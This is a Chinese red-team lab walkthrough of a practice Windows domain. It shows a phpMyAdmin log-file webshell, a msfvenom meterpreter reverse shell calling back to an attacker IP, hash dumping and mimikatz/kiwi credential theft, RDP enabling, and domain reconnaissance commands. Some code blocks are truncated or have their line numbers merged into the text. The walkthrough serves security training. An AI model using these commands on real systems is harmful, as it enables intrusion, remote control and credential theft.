红队系列
0x01 环境配置
https://blog.csdn.net/jnszstmei/article/details/143832390
配置好的拓扑图,win7 作为服务器,Windows Server 2003 作为域成员主机,Windows Server 2008作为域控

0x02 拿下服务器
因为我们现在重心在内网,所以外网服务器迅速过一下,访问一下发现是 yxcms 的站点

我们可以百度打一下 yxcms 的 nday,这里dirsearch 扫一下服务器

登录 phpmyadmin 后台,发现弱口令:root/root
搜一下 phpmyadmin 后台 getshell

secure_file_priv为NULL,表示限制mysql不允许导入导出。
这里我们利用日志文件Getshell。phpmyadmin利用日志文件Getshell 执行以下命令
1 | set global general_log=on; #开启日志 |
成功拿下服务器

0x03 内网后渗透
先看一下有什么信息
1 | whoami |
我们知道当前的用户身份是 administrator ,在管理员组中,并且处在域 god 中
1 | ipconfig |
执行后发现该主机有两张网卡,分别是 192.168.207.129, 192.168.52.143
1 | net localgroup administrators |
由此可知,其实获得的这个权限就是域管理员权限。
接下来我们运行msf,使用msf上线主机,如下所示
1 | msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.207.1 LPORT=9000 -f exe -o shell.exe |
192.168.207.1 是我们的攻击机,我们将shell.exe通过蚁剑上传到靶机上去

接着我们在攻击机上开启监听模式,持续监听连接
1 | msfconsole |
我们用蚁剑运行exe文件,如下所示。

我们的攻击机成功上线windows7,进来后第一步肯定是提权到 system:
这里直接是 administrator,所有可以直接 getsystem 提到 system,实战中还需要其他手段提权。

获取账号密码:
导入账号,密码hash值:
1
2
3
4meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::1
2
3
4
5
6
7
8
9
10
11
12Windows系统下的hash密码格式为:
用户名称:RID:LM-HASH值:NT-HASH值
NT-HASH hash生产方式:
1. 将明文口令转换成十六进制的格式
2. 转换成Unicode格式,即在每个字节之后添加0x00
3. 对Unicode字符串作MD4加密,生成32位的十六进制数字串
eg:用户密码为test123
转换成十六进制的格式为74657374313233
转换成Unicode格式为7400650073007400310032003300
对字符串7400650073007400310032003300作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1导出hash
1
run windows/gather/smart_hashdump

加载kiwi模块
这里尝试加载kiwi模块,获取不到账号密码(后来才知道mimikatz已经和并进kiwi了)
1
2load kiwi
creds_all
加载 mimikatz 模块
加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,该进程也需要是system权限,这一步也叫进行权限维持,就是要将进程进行迁移,即将我们的shell.exe的进程附加在系统进程上。
1
ps

1
migrate 388
kiwi 已经 和 mimikatz 合并
1
creds_all
密码就出来了

所以完整获取密码的步骤应该是启动 kiwi 就行了
1
2
3
4load kiwi
ps
migrate 388
creds_all远程桌面登录
这里我们已经获得了administrator的账号和密码,现在我们既可以使用administrator账号登录,也可 以新建账号登录(hack/Password@)。(不建议直接用administrator身份登录,因为这样有可能会惊动管 理员)

通过nmap扫描发现该主机的3389端口呈过滤状态,由此猜想可能是防火墙将该端口过滤了

于是执行以下命令开启3389端口
1 | run post/windows/manage/enable_rdp |


尝试3389远程登录该主机,但是弹出如果我们继续登录,则会断开该主机的当前连接。为了不惊动管理 员,这里我们不继续连接了。

收集域内信息
内网信息收集的主要目的就是查找域控以及域控内的其他主机
1
2
3
4
5
6
7
8
9
10
11
12net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)首先判断是否存在域,我们使用
ipconfig /all查看DNS服务器,我们发现存在域god.org
接着我们使用net view /domain查看有几个域

我们发现只有唯一一个域,接下来我们查看 域中所有域控制器,我们使用net group "Domain Controllers" /domain进行查询即可,我们可以查询到域控为owa

我们接着查询所有域内主机,如下所示net view

接着我们查询域内IP,使用arp -a进行查询

为了确定哪个是域控主机IP,我们尝试去ping一下域名ping owa.god.org

至此我们域内信息收集完毕
1 | 域名为 god |
派生CobaltStrike权限
首先在CobaltStrike上开启一个监听





